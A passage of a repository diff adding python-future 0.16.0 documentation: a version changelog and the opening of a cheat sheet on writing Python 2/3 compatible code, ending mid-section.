+last resort; ideally Python 2-only dependencies should be ported
+properly to a Python 2/3 compatible codebase using a tool like
+``futurize`` and the changes should be pushed to the upstream project.
+
+For more information, see :ref:`translation`.
+
+
+Separate ``pasteurize`` script
+------------------------------
+
+The functionality from ``futurize --from3`` is now in a separate script called
+``pasteurize``. Use ``pasteurize`` when converting from Python 3 code to Python
+2/3 compatible source. For more information, see :ref:`backwards-conversion`.
+
+
+``pow()``
+---------
+
+There is now a ``pow()`` function in ``future.builtins.misc`` that behaves like
+the Python 3 ``pow()`` function when raising a negative number to a fractional
+power (returning a complex number).
+
+
+``input()`` no longer disabled globally on Py2
+----------------------------------------------
+
+Previous versions of ``future`` deleted the ``input()`` function from
+``__builtin__`` on Python 2 as a security measure. This was because
+Python 2's ``input()`` function allows arbitrary code execution and could
+present a security vulnerability on Python 2 if someone expects Python 3
+semantics but forgets to import ``input`` from ``future.builtins``. This
+behaviour has been reverted, in the interests of broadening the
+compatibility of ``future`` with other Python 2 modules.
+
+Please remember to import ``input`` from ``future.builtins`` if you use
+``input()`` in a Python 2/3 compatible codebase.
+
+
+.. _deprecated-auto-import-hooks:
+
+Deprecated feature: auto-installation of standard-library import hooks
+----------------------------------------------------------------------
+
+Previous versions of ``python-future`` installed import hooks automatically upon
+importing the ``standard_library`` module from ``future``. This has been
+deprecated in order to improve robustness and compatibility with modules like
+``requests`` that already perform their own single-source Python 2/3
+compatibility.
+
+As of v0.12, importing ``future.standard_library``
+will no longer install import hooks by default. Instead, please install the
+import hooks explicitly as follows::
+    
+    from future import standard_library
+    standard_library.install_hooks()
+
+And uninstall them after your import statements using::
+
+    standard_library.remove_hooks()
+
+*Note*: This is a backward-incompatible change.
+
+
+
+Internal changes
+----------------
+
+The internal ``future.builtins.backports`` module has been renamed to
+``future.builtins.types``. This will change the ``repr`` of ``future``
+types but not their use.
+
+
+.. _whats-new-0.10.2:
+
+Changes in version 0.10.2 (2014-01-11)
+======================================
+
+New context-manager interface to ``standard_library.hooks``
+-----------------------------------------------------------
+
+There is a new context manager ``future.standard_library.hooks``. Use it like
+this::
+
+    from future import standard_library
+    with standard_library.hooks():
+        import queue
+        import configserver
+        from http.client import HTTPConnection
+        # etc.
+
+If not using this context manager, it is now encouraged to add an explicit call to
+``standard_library.install_hooks()`` as follows::
+
+    from future import standard_library
+    standard_library.install_hooks()
+    
+    import queue
+    import html
+    import http.client
+    # etc.
+
+And to remove the hooks afterwards with::
+
+    standard_library.remove_hooks()
+
+The functions ``install_hooks()`` and ``remove_hooks()`` were previously
+called ``enable_hooks()`` and ``disable_hooks()``. The old names are
+deprecated (but are still available as aliases).
+
+As usual, this feature has no effect on Python 3.
+
+
+.. _whats-new-0.10:
+
+Changes in version 0.10.0 (2013-12-02)
+======================================
+
+Backported ``dict`` type
+------------------------
+
+``future.builtins`` now provides a Python 2 ``dict`` subclass whose
+:func:`keys`, :func:`values`, and :func:`items` methods produce
+memory-efficient iterators. On Python 2.7, these also have the same set-like
+view behaviour as on Python 3. This can streamline code needing to iterate
+over large dictionaries. For example::
+
+    from __future__ import print_function
+    from future.builtins import dict, range
+    
+    squares = dict({i: i**2 for i in range(10**7)})
+
+    assert not isinstance(d.items(), list)
+    # Because items() is memory-efficient, so is this:
+    square_roots = dict((i_squared, i) for (i, i_squared) in squares.items())
+
+For more information, see :ref:`dict-object`.
+
+
+Utility functions ``raise_`` and ``exec_``
+------------------------------------------
+
+The functions ``raise_with_traceback()`` and ``raise_()`` were
+added to ``future.utils`` to offer either the Python 3.x or Python 2.x
+behaviour for raising exceptions. Thanks to Joel Tratner for the
+contribution of these. ``future.utils.reraise()`` is now deprecated.
+
+A portable ``exec_()`` function has been added to ``future.utils`` from
+``six``.
+
+
+Bugfixes
+--------
+- Fixed ``newint.__divmod__``
+- Improved robustness of installing and removing import hooks in :mod:`future.standard_library`
+- v0.10.1: Fixed broken ``pip install future`` on Py3
+
+
+.. _whats-new-0.9:
+
+Changes in version 0.9 (2013-11-06)
+===================================
+
+
+``isinstance`` checks are supported natively with backported types
+------------------------------------------------------------------
+
+The ``isinstance`` function is no longer redefined in ``future.builtins``
+to operate with the backported ``int``, ``bytes`` and ``str``.
+``isinstance`` checks with the backported types now work correctly by
+default; we achieve this through overriding the ``__instancecheck__``
+method of metaclasses of the backported types.
+
+For more information, see :ref:`isinstance-calls`.
+
+
+``futurize``: minimal imports by default
+----------------------------------------
+
+By default, the ``futurize`` script now only adds the minimal set of
+imports deemed necessary.
+
+There is now an ``--all-imports`` option to the ``futurize`` script which
+gives the previous behaviour, which is to add all ``__future__`` imports
+and ``from future.builtins import *`` imports to every module. (This even
+applies to an empty ``__init__.py`` file.)
+
+
+Looser type-checking for the backported ``str`` object
+------------------------------------------------------
+
+Now the ``future.builtins.str`` object behaves more like the Python 2
+``unicode`` object with regard to type-checking. This is to work around some
+bugs / sloppiness in the Python 2 standard library involving mixing of
+byte-strings and unicode strings, such as ``os.path.join`` in ``posixpath.py``.
+
+``future.builtins.str`` still raises the expected ``TypeError`` exceptions from
+Python 3 when attempting to mix it with ``future.builtins.bytes``.
+
+
+``suspend_hooks()`` context manager added to ``future.standard_library``
+------------------------------------------------------------------------
+
+Pychecker (as of v0.6.1)'s ``checker.py`` attempts to import the ``builtins``
+module as a way of determining whether Python 3 is running. Since this
+succeeds when ``from future import standard_library`` is in effect, this
+check does not work and pychecker sets the wrong value for its internal ``PY2``
+flag is set.
+
+To work around this, ``future`` now provides a context manager called
+``suspend_hooks`` that can be used as follows::
+
+    from future import standard_library
+    ...
+    with standard_library.suspend_hooks():
+        from pychecker.checker import Checker
+
+
+.. _whats-new-0.8:
+
+Changes in version 0.8 (2013-10-28)
+===================================
+
+Python 2.6 support
+------------------
+
+``future`` now includes support for Python 2.6.
+
+To run the ``future`` test suite on Python 2.6, this additional package is needed::
+
+    pip install unittest2
+
+``http.server`` also requires the ``argparse`` package::
+
+    pip install argparse
+
+
+Unused modules removed
+----------------------
+
+The ``future.six`` module has been removed. ``future`` doesn't require ``six``
+(and hasn't since version 0.3). If you need support for Python versions before
+2.6, ``six`` is the best option. ``future`` and ``six`` can be installed
+alongside each other easily if needed.
+
+The unused ``hacks`` module has also been removed from the source tree.
+
+
+``isinstance()`` added to :mod:`future.builtins` (v0.8.2)
+---------------------------------------------------------
+
+It is now possible to use ``isinstance()`` calls normally after importing ``isinstance`` from 
+``future.builtins``. On Python 2, this is specially defined to be compatible with
+``future``'s backported ``int``, ``str``, and ``bytes`` types, as well as
+handling Python 2's ``int``/``long`` distinction.
+
+The result is that code that uses ``isinstance`` to perform type-checking of
+ints, strings, and bytes should now work identically on Python 2 as on Python 3.
+
+The utility functions ``isint``, ``istext``, and ``isbytes`` provided before for
+compatible type-checking across Python 2 and 3 in :mod:`future.utils` are now
+deprecated.
+
+
+.. _changelog:
+
+Summary of all changes
+======================
+
+v0.15.0:
+  * Full backports of ``urllib.parse`` and other ``urllib`` submodules are exposed by ``install_aliases()``.
+  * ``tkinter.ttk`` support
+  * Initial ``surrogateescape`` support
+  * Additional backports: ``collections``, ``http`` constants, etc.
+  * Bug fixes
+
+v0.14.3:
+  * Bug fixes
+
+v0.14.2:
+  * Bug fixes
+
+v0.14.1:
+  * Bug fixes
+
+v0.14.0:
+  * New top-level ``builtins`` package on Py2 for cleaner imports. Equivalent to
+    ``future.builtins``
+  * New top-level packages on Py2 with the same names as Py3 standard modules:
+    ``configparser``, ``copyreg``, ``html``, ``http``, ``xmlrpc``, ``winreg``
+
+v0.13.1:
+  * Bug fixes
+
+v0.13.0:
+  * Cheat sheet for writing Python 2/3 compatible code
+  * ``to_int`` and ``from_int`` methods for ``newbytes``
+  * Bug fixes
+
+v0.12.0:
+  * Add ``newobject`` and ``newlist`` types
+  * Improve compatibility of import hooks with ``Requests``, ``py2exe``
+  * No more auto-installation of import hooks by ``future.standard_library``
+  * New ``future.moves`` package
+  * ``past.builtins`` improved
+  * ``newstr.encode(..., errors='surrogateescape')`` supported
+  * Refactoring: ``future.standard_library`` submodules -> ``future.backports``
+  * Refactoring: ``future.builtins.types`` -> ``future.types``
+  * Refactoring: ``past.builtins.types`` -> ``past.types``
+  * New ``listvalues`` and ``listitems`` functions in ``future.utils``
+  * Many bug fixes to ``futurize``, ``future.builtins``, etc.
+
+v0.11.4:
+  * Restore Py2.6 compatibility
+
+v0.11.3:
+  * The ``futurize`` and ``pasteurize`` scripts add an explicit call to
+    ``future.standard_library.install_hooks()`` whenever modules affected by
+    PEP 3108 are imported.
+
+  * The ``future.builtins.bytes`` constructor now accepts ``frozenset``
+    objects as on Py3.
+
+v0.11.2:
+  * The ``past.autotranslate`` feature now finds modules to import more
+    robustly and works with Python eggs.
+
+v0.11.1:
+  * Update to ``requirements_py26.txt`` for Python 2.6. Small updates to
+    docs and tests.
+
+v0.11:
+  * New ``past`` package with ``past.builtins`` and ``past.translation``
+    modules.
+
+v0.10.2:
+  * Improvements to stdlib hooks. New context manager:
+    ``future.standard_library.hooks()``.
+
+  * New ``raise_`` and ``raise_with_traceback`` functions in ``future.utils``.
+
+v0.10:
+  * New backported ``dict`` object with set-like ``keys``, ``values``, ``items``
+
+v0.9:
+  * :func:`isinstance` hack removed in favour of ``__instancecheck__`` on the
+    metaclasses of the backported types
+  * ``futurize`` now only adds necessary imports by default
+  * Looser type-checking by ``future.builtins.str`` when combining with Py2
+    native byte-strings.
+
+v0.8.3:
+  * New ``--all-imports`` option to ``futurize``
+  * Fix bug with ``str.encode()`` with encoding as a non-keyword arg
+
+v0.8.2:
+  * New ``isinstance`` function in :mod:`future.builtins`. This obviates
+    and deprecates the utility functions for type-checking in :mod:`future.utils`.
+
+v0.8.1:
+  * Backported ``socketserver.py``. Fixes sporadic test failures with
+    ``http.server`` (related to threading and old-style classes used in Py2.7's
+    ``SocketServer.py``).
+
+  * Move a few more safe ``futurize`` fixes from stage2 to stage1
+
+  * Bug fixes to :mod:`future.utils`
+  
+v0.8:
+  * Added Python 2.6 support
+
+  * Removed unused modules: :mod:`future.six` and :mod:`future.hacks`
+
+  * Removed undocumented functions from :mod:`future.utils`
+
+v0.7:
+  * Added a backported Py3-like ``int`` object (inherits from ``long``).
+
+  * Added utility functions for type-checking and docs about
+    ``isinstance`` uses/alternatives.
+
+  * Fixes and stricter type-checking for ``bytes`` and ``str`` objects
+
+  * Added many more tests for the ``futurize`` script
+
+  * We no longer disable obsolete Py2 builtins by default with ``from
+    future.builtins import *``. Use ``from future.builtins.disabled
+    import *`` instead.
+
+v0.6:
+  * Added a backported Py3-like ``str`` object (inherits from Py2's ``unicode``)
+
+  * Removed support for the form ``from future import *``; use ``from future.builtins import *`` instead
+
+v0.5.3:
+  * Doc improvements
+
+v0.5.2:
+  * Add lots of docs and a Sphinx project
+
+v0.5.1:
+  * Upgraded included ``six`` module (included as ``future.utils.six``) to v1.4.1
+
+  * :mod:`http.server` module backported
+
+  * ``bytes.split()`` and ``.rsplit()`` bugfixes
+
+v0.5.0:
+  * Added backported Py3-like ``bytes`` object
+
+v0.4.2:
+  * Various fixes
+
+v0.4.1:
+  * Added :func:`open` (from :mod:`io` module on Py2)
+  * Improved docs
+
+v0.4.0:
+  * Added various useful compatibility functions to :mod:`future.utils`
+
+  * Reorganized package: moved all builtins to :mod:`future.builtins`; moved
+    all stdlib things to ``future.standard_library``
+
+  * Renamed ``python-futurize`` console script to ``futurize``
+
+  * Moved ``future.six`` to ``future.utils.six`` and pulled the most relevant
+    definitions to :mod:`future.utils`.
+
+  * More improvements to "Py3 to both" conversion (``futurize.py --from3``)
+
+v0.3.5:
+  * Fixed broken package setup ("package directory 'libfuturize/tests' does not exist")
+
+v0.3.4:
+  * Added ``itertools.zip_longest``
+
+  * Updated ``2to3_backcompat`` tests to use ``futurize.py``
+
+  * Improved ``libfuturize`` fixers: correct order of imports; add imports only when necessary (except ``absolute_import`` currently)
+
+v0.3.3:
+  * Added ``python-futurize`` console script
+
+  * Added ``itertools.filterfalse``
+
+  * Removed docs about unfinished backports (``urllib`` etc.)
+
+  * Removed old Py2 syntax in some files that breaks py3 ``setup.py install``
+
+v0.3.2:
+  * Added ``test.support`` module
+
+  * Added ``UserList``, ``UserString``, ``UserDict`` classes to ``collections`` module
+
+  * Removed ``int`` -> ``long`` mapping
+  
+  * Added backported ``_markupbase.py`` etc. with new-style classes to fix travis-ci build problems
+
+  * Added working ``html`` and ``http.client`` backported modules
+v0.3.0:
+  * Generalized import hooks to allow dotted imports
+
+  * Added backports of ``urllib``, ``html``, ``http`` modules from Py3.3 stdlib using ``future``
+
+  * Added ``futurize`` script for automatically turning Py2 or Py3 modules into
+    cross-platform Py3 modules
+
+  * Renamed ``future.standard_library_renames`` to
+    ``future.standard_library``. (No longer just renames, but backports too.)
+
+v0.2.2.1:
+  * Small bug fixes to get tests passing on travis-ci.org
+
+v0.2.1:
+  * Small bug fixes
+
+v0.2.0:
+  * ``Features`` module renamed to ``modified_builtins``
+
+  * New functions added: :func:`round`, :func:`input`
+
+  * No more namespace pollution as a policy::
+
+        from future import *
+
+    should have no effect on Python 3. On Python 2, it only shadows the
+    builtins; it doesn't introduce any new names.
+
+  * End-to-end tests with Python 2 code and ``2to3`` now work
+
+v0.1.0:
+  * first version with tests!
+
+  * removed the inspect-module magic
+
+v0.0.x:
+  * initial releases. Use at your peril.

+ 1481 - 0
desktop/core/ext-py/future-0.16.0/docs/compatible_idioms.rst

@@ -0,0 +1,1481 @@
+.. _compatible-idioms:
+ 
+Cheat Sheet: Writing Python 2-3 compatible code
+===============================================
+
+-  **Copyright (c):** 2013-2016 Python Charmers Pty Ltd, Australia.
+-  **Author:** Ed Schofield.
+-  **Licence:** Creative Commons Attribution.
+
+A PDF version is here: http://python-future.org/compatible\_idioms.pdf
+
+This notebook shows you idioms for writing future-proof code that is
+compatible with both versions of Python: 2 and 3. It accompanies Ed
+Schofield's talk at PyCon AU 2014, "Writing 2/3 compatible code". (The
+video is here: http://www.youtube.com/watch?v=KOqk8j11aAI&t=10m14s.)
+
+Minimum versions:
+
+-  Python 2: 2.6+
+-  Python 3: 3.3+
+
+Setup
+-----
+
+The imports below refer to these ``pip``-installable packages on PyPI:
+
+::
+
+    import future        # pip install future
+    import builtins      # pip install future
+    import past          # pip install future
+    import six           # pip install six
+
+The following scripts are also ``pip``-installable:
+
+::
+
+    futurize             # pip install future
+    pasteurize           # pip install future
+
+See http://python-future.org and https://pythonhosted.org/six/ for more
+information.
+
+Essential syntax differences
+----------------------------
+
+print
+~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    print 'Hello'
+.. code:: python
+
+    # Python 2 and 3:
+    print('Hello')
+To print multiple strings, import ``print_function`` to prevent Py2 from
+interpreting it as a tuple:
+
+.. code:: python
+
+    # Python 2 only:
+    print 'Hello', 'Guido'
+.. code:: python
+
+    # Python 2 and 3:
+    from __future__ import print_function    # (at top of module)
+    
+    print('Hello', 'Guido')
+.. code:: python
+
+    # Python 2 only:
+    print >> sys.stderr, 'Hello'
+.. code:: python
+
+    # Python 2 and 3:
+    from __future__ import print_function
+    
+    print('Hello', file=sys.stderr)
+.. code:: python
+
+    # Python 2 only:
+    print 'Hello',
+.. code:: python
+
+    # Python 2 and 3:
+    from __future__ import print_function
+    
+    print('Hello', end='')
+Raising exceptions
+~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    raise ValueError, "dodgy value"
+.. code:: python
+
+    # Python 2 and 3:
+    raise ValueError("dodgy value")
+Raising exceptions with a traceback:
+
+.. code:: python
+
+    # Python 2 only:
+    traceback = sys.exc_info()[2]
+    raise ValueError, "dodgy value", traceback
+.. code:: python
+
+    # Python 3 only:
+    raise ValueError("dodgy value").with_traceback()
+.. code:: python
+
+    # Python 2 and 3: option 1
+    from six import reraise as raise_
+    # or
+    from future.utils import raise_
+    
+    traceback = sys.exc_info()[2]
+    raise_(ValueError, "dodgy value", traceback)
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from future.utils import raise_with_traceback
+    
+    raise_with_traceback(ValueError("dodgy value"))
+Exception chaining (PEP 3134):
+
+.. code:: python
+
+    # Setup:
+    class DatabaseError(Exception):
+        pass
+.. code:: python
+
+    # Python 3 only
+    class FileDatabase:
+        def __init__(self, filename):
+            try:
+                self.file = open(filename)
+            except IOError as exc:
+                raise DatabaseError('failed to open') from exc
+.. code:: python
+
+    # Python 2 and 3:
+    from future.utils import raise_from
+    
+    class FileDatabase:
+        def __init__(self, filename):
+            try:
+                self.file = open(filename)
+            except IOError as exc:
+                raise_from(DatabaseError('failed to open'), exc)
+.. code:: python
+
+    # Testing the above:
+    try:
+        fd = FileDatabase('non_existent_file.txt')
+    except Exception as e:
+        assert isinstance(e.__cause__, IOError)    # FileNotFoundError on Py3.3+ inherits from IOError
+Catching exceptions
+~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    try:
+        ...
+    except ValueError, e:
+        ...
+.. code:: python
+
+    # Python 2 and 3:
+    try:
+        ...
+    except ValueError as e:
+        ...
+Division
+~~~~~~~~
+
+Integer division (rounding down):
+
+.. code:: python
+
+    # Python 2 only:
+    assert 2 / 3 == 0
+.. code:: python
+
+    # Python 2 and 3:
+    assert 2 // 3 == 0
+"True division" (float division):
+
+.. code:: python
+
+    # Python 3 only:
+    assert 3 / 2 == 1.5
+.. code:: python
+
+    # Python 2 and 3:
+    from __future__ import division    # (at top of module)
+    
+    assert 3 / 2 == 1.5
+"Old division" (i.e. compatible with Py2 behaviour):
+
+.. code:: python
+
+    # Python 2 only:
+    a = b / c            # with any types
+.. code:: python
+
+    # Python 2 and 3:
+    from past.utils import old_div
+    
+    a = old_div(b, c)    # always same as / on Py2
+Long integers
+~~~~~~~~~~~~~
+
+Short integers are gone in Python 3 and ``long`` has become ``int``
+(without the trailing ``L`` in the ``repr``).
+
+.. code:: python
+
+    # Python 2 only
+    k = 9223372036854775808L
+    
+    # Python 2 and 3:
+    k = 9223372036854775808
+.. code:: python
+
+    # Python 2 only
+    bigint = 1L
+    
+    # Python 2 and 3
+    from builtins import int
+    bigint = int(1)
+To test whether a value is an integer (of any kind):
+
+.. code:: python
+
+    # Python 2 only:
+    if isinstance(x, (int, long)):
+        ...
+    
+    # Python 3 only:
+    if isinstance(x, int):
+        ...
+    
+    # Python 2 and 3: option 1
+    from builtins import int    # subclass of long on Py2
+    
+    if isinstance(x, int):             # matches both int and long on Py2
+        ...
+    
+    # Python 2 and 3: option 2
+    from past.builtins import long
+    
+    if isinstance(x, (int, long)):
+        ...
+Octal constants
+~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    0644     # Python 2 only
+.. code:: python
+
+    0o644    # Python 2 and 3
+Backtick repr
+~~~~~~~~~~~~~
+
+.. code:: python
+
+    `x`      # Python 2 only
+.. code:: python
+
+    repr(x)  # Python 2 and 3
+Metaclasses
+~~~~~~~~~~~
+
+.. code:: python
+
+    class BaseForm(object):
+        pass
+    
+    class FormType(type):
+        pass
+.. code:: python
+
+    # Python 2 only:
+    class Form(BaseForm):
+        __metaclass__ = FormType
+        pass
+.. code:: python
+
+    # Python 3 only:
+    class Form(BaseForm, metaclass=FormType):
+        pass
+.. code:: python
+
+    # Python 2 and 3:
+    from six import with_metaclass
+    # or
+    from future.utils import with_metaclass
+    
+    class Form(with_metaclass(FormType, BaseForm)):
+        pass
+Strings and bytes
+-----------------
+
+Unicode (text) string literals
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you are upgrading an existing Python 2 codebase, it may be preferable
+to mark up all string literals as unicode explicitly with ``u``
+prefixes:
+
+.. code:: python
+
+    # Python 2 only
+    s1 = 'The Zen of Python'
+    s2 = u'きたないのよりきれいな方がいい\n'
+    
+    # Python 2 and 3
+    s1 = u'The Zen of Python'
+    s2 = u'きたないのよりきれいな方がいい\n'
+The ``futurize`` and ``python-modernize`` tools do not currently offer
+an option to do this automatically.
+
+If you are writing code for a new project or new codebase, you can use
+this idiom to make all string literals in a module unicode strings:
+
+.. code:: python
+
+    # Python 2 and 3
+    from __future__ import unicode_literals    # at top of module
+    
+    s1 = 'The Zen of Python'
+    s2 = 'きたないのよりきれいな方がいい\n'
+See http://python-future.org/unicode\_literals.html for more discussion
+on which style to use.
+
+Byte-string literals
+~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only
+    s = 'This must be a byte-string'
+    
+    # Python 2 and 3
+    s = b'This must be a byte-string'
+To loop over a byte-string with possible high-bit characters, obtaining
+each character as a byte-string of length 1:
+
+.. code:: python
+
+    # Python 2 only:
+    for bytechar in 'byte-string with high-bit chars like \xf9':
+        ...
+    
+    # Python 3 only:
+    for myint in b'byte-string with high-bit chars like \xf9':
+        bytechar = bytes([myint])
+    
+    # Python 2 and 3:
+    from builtins import bytes
+    for myint in bytes(b'byte-string with high-bit chars like \xf9'):
+        bytechar = bytes([myint])
+As an alternative, ``chr()`` and ``.encode('latin-1')`` can be used to
+convert an int into a 1-char byte string:
+
+.. code:: python
+
+    # Python 3 only:
+    for myint in b'byte-string with high-bit chars like \xf9':
+        char = chr(myint)    # returns a unicode string
+        bytechar = char.encode('latin-1')
+    
+    # Python 2 and 3:
+    from builtins import bytes, chr
+    for myint in bytes(b'byte-string with high-bit chars like \xf9'):
+        char = chr(myint)    # returns a unicode string
+        bytechar = char.encode('latin-1')    # forces returning a byte str
+basestring
+~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    a = u'abc'
+    b = 'def'
+    assert (isinstance(a, basestring) and isinstance(b, basestring))
+    
+    # Python 2 and 3: alternative 1
+    from past.builtins import basestring    # pip install future
+    
+    a = u'abc'
+    b = b'def'
+    assert (isinstance(a, basestring) and isinstance(b, basestring))
+.. code:: python
+
+    # Python 2 and 3: alternative 2: refactor the code to avoid considering
+    # byte-strings as strings.
+    
+    from builtins import str
+    a = u'abc'
+    b = b'def'
+    c = b.decode()
+    assert isinstance(a, str) and isinstance(c, str)
+    # ...
+unicode
+~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    templates = [u"blog/blog_post_detail_%s.html" % unicode(slug)]
+.. code:: python
+
+    # Python 2 and 3: alternative 1
+    from builtins import str
+    templates = [u"blog/blog_post_detail_%s.html" % str(slug)]
+.. code:: python
+
+    # Python 2 and 3: alternative 2
+    from builtins import str as text
+    templates = [u"blog/blog_post_detail_%s.html" % text(slug)]
+StringIO
+~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from StringIO import StringIO
+    # or:
+    from cStringIO import StringIO
+    
+    # Python 2 and 3:
+    from io import BytesIO     # for handling byte strings
+    from io import StringIO    # for handling unicode strings
+Imports relative to a package
+-----------------------------
+
+Suppose the package is:
+
+::
+
+    mypackage/
+        __init__.py
+        submodule1.py
+        submodule2.py
+        
+
+and the code below is in ``submodule1.py``:
+
+.. code:: python
+
+    # Python 2 only: 
+    import submodule2
+.. code:: python
+
+    # Python 2 and 3:
+    from . import submodule2
+.. code:: python
+
+    # Python 2 and 3:
+    # To make Py2 code safer (more like Py3) by preventing
+    # implicit relative imports, you can also add this to the top:
+    from __future__ import absolute_import
+Dictionaries
+------------
+
+.. code:: python
+
+    heights = {'Fred': 175, 'Anne': 166, 'Joe': 192}
+Iterating through ``dict`` keys/values/items
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Iterable dict keys:
+
+.. code:: python
+
+    # Python 2 only:
+    for key in heights.iterkeys():
+        ...
+.. code:: python
+
+    # Python 2 and 3:
+    for key in heights:
+        ...
+Iterable dict values:
+
+.. code:: python
+
+    # Python 2 only:
+    for value in heights.itervalues():
+        ...
+.. code:: python
+
+    # Idiomatic Python 3
+    for value in heights.values():    # extra memory overhead on Py2
+        ...
+.. code:: python
+
+    # Python 2 and 3: option 1
+    from builtins import dict
+    
+    heights = dict(Fred=175, Anne=166, Joe=192)
+    for key in heights.values():    # efficient on Py2 and Py3
+        ...
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from builtins import itervalues
+    # or
+    from six import itervalues
+    
+    for key in itervalues(heights):
+        ...
+Iterable dict items:
+
+.. code:: python
+
+    # Python 2 only:
+    for (key, value) in heights.iteritems():
+        ...
+.. code:: python
+
+    # Python 2 and 3: option 1
+    for (key, value) in heights.items():    # inefficient on Py2    
+        ...
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from future.utils import viewitems
+    
+    for (key, value) in viewitems(heights):   # also behaves like a set
+        ...
+.. code:: python
+
+    # Python 2 and 3: option 3
+    from future.utils import iteritems
+    # or
+    from six import iteritems
+    
+    for (key, value) in iteritems(heights):
+        ...
+dict keys/values/items as a list
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+dict keys as a list:
+
+.. code:: python
+
+    # Python 2 only:
+    keylist = heights.keys()
+    assert isinstance(keylist, list)
+.. code:: python
+
+    # Python 2 and 3:
+    keylist = list(heights)
+    assert isinstance(keylist, list)
+dict values as a list:
+
+.. code:: python
+
+    # Python 2 only:
+    heights = {'Fred': 175, 'Anne': 166, 'Joe': 192}
+    valuelist = heights.values()
+    assert isinstance(valuelist, list)
+.. code:: python
+
+    # Python 2 and 3: option 1
+    valuelist = list(heights.values())    # inefficient on Py2
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from builtins import dict
+    
+    heights = dict(Fred=175, Anne=166, Joe=192)
+    valuelist = list(heights.values())
+.. code:: python
+
+    # Python 2 and 3: option 3
+    from future.utils import listvalues
+    
+    valuelist = listvalues(heights)
+.. code:: python
+
+    # Python 2 and 3: option 4
+    from future.utils import itervalues
+    # or
+    from six import itervalues
+    
+    valuelist = list(itervalues(heights))
+dict items as a list:
+
+.. code:: python
+
+    # Python 2 and 3: option 1
+    itemlist = list(heights.items())    # inefficient on Py2
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from future.utils import listitems
+    
+    itemlist = listitems(heights)
+.. code:: python
+
+    # Python 2 and 3: option 3
+    from future.utils import iteritems
+    # or
+    from six import iteritems
+    
+    itemlist = list(iteritems(heights))
+Custom class behaviour
+----------------------
+
+Custom iterators
+~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only
+    class Upper(object):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def next(self):          # Py2-style
+            return self._iter.next().upper()
+        def __iter__(self):
+            return self
+    
+    itr = Upper('hello')
+    assert itr.next() == 'H'     # Py2-style
+    assert list(itr) == list('ELLO')
+.. code:: python
+
+    # Python 2 and 3: option 1
+    from builtins import object
+    
+    class Upper(object):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def __next__(self):      # Py3-style iterator interface
+            return next(self._iter).upper()  # builtin next() function calls
+        def __iter__(self):
+            return self
+    
+    itr = Upper('hello')
+    assert next(itr) == 'H'      # compatible style
+    assert list(itr) == list('ELLO')
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from future.utils import implements_iterator
+    
+    @implements_iterator
+    class Upper(object):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def __next__(self):                  # Py3-style iterator interface
+            return next(self._iter).upper()  # builtin next() function calls
+        def __iter__(self):
+            return self
+    
+    itr = Upper('hello')
+    assert next(itr) == 'H'
+    assert list(itr) == list('ELLO')
+Custom ``__str__`` methods
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    class MyClass(object):
+        def __unicode__(self):
+            return 'Unicode string: \u5b54\u5b50'
+        def __str__(self):
+            return unicode(self).encode('utf-8')
+    
+    a = MyClass()
+    print(a)    # prints encoded string
+.. code:: python
+
+    # Python 2 and 3:
+    from future.utils import python_2_unicode_compatible
+    
+    @python_2_unicode_compatible
+    class MyClass(object):
+        def __str__(self):
+            return u'Unicode string: \u5b54\u5b50'
+    
+    a = MyClass()
+    print(a)    # prints string encoded as utf-8 on Py2
+
+.. parsed-literal::
+
+    Unicode string: 孔子
+
+
+Custom ``__nonzero__`` vs ``__bool__`` method:
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    class AllOrNothing(object):
+        def __init__(self, l):
+            self.l = l
+        def __nonzero__(self):
+            return all(self.l)
+    
+    container = AllOrNothing([0, 100, 200])
+    assert not bool(container)
+.. code:: python
+
+    # Python 2 and 3:
+    from builtins import object
+    
+    class AllOrNothing(object):
+        def __init__(self, l):
+            self.l = l
+        def __bool__(self):
+            return all(self.l)
+    
+    container = AllOrNothing([0, 100, 200])
+    assert not bool(container)
+Lists versus iterators
+----------------------
+
+xrange
+~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    for i in xrange(10**8):
+        ...
+.. code:: python
+
+    # Python 2 and 3: forward-compatible
+    from builtins import range
+    for i in range(10**8):
+        ...
+.. code:: python
+
+    # Python 2 and 3: backward-compatible
+    from past.builtins import xrange
+    for i in xrange(10**8):
+        ...
+range
+~~~~~
+
+.. code:: python
+
+    # Python 2 only
+    mylist = range(5)
+    assert mylist == [0, 1, 2, 3, 4]
+.. code:: python
+
+    # Python 2 and 3: forward-compatible: option 1
+    mylist = list(range(5))            # copies memory on Py2
+    assert mylist == [0, 1, 2, 3, 4]
+.. code:: python
+
+    # Python 2 and 3: forward-compatible: option 2
+    from builtins import range
+    
+    mylist = list(range(5))
+    assert mylist == [0, 1, 2, 3, 4]
+.. code:: python
+
+    # Python 2 and 3: option 3
+    from future.utils import lrange
+    
+    mylist = lrange(5)
+    assert mylist == [0, 1, 2, 3, 4]
+.. code:: python
+
+    # Python 2 and 3: backward compatible
+    from past.builtins import range
+    
+    mylist = range(5)
+    assert mylist == [0, 1, 2, 3, 4]
+map
+~~~
+
+.. code:: python
+
+    # Python 2 only:
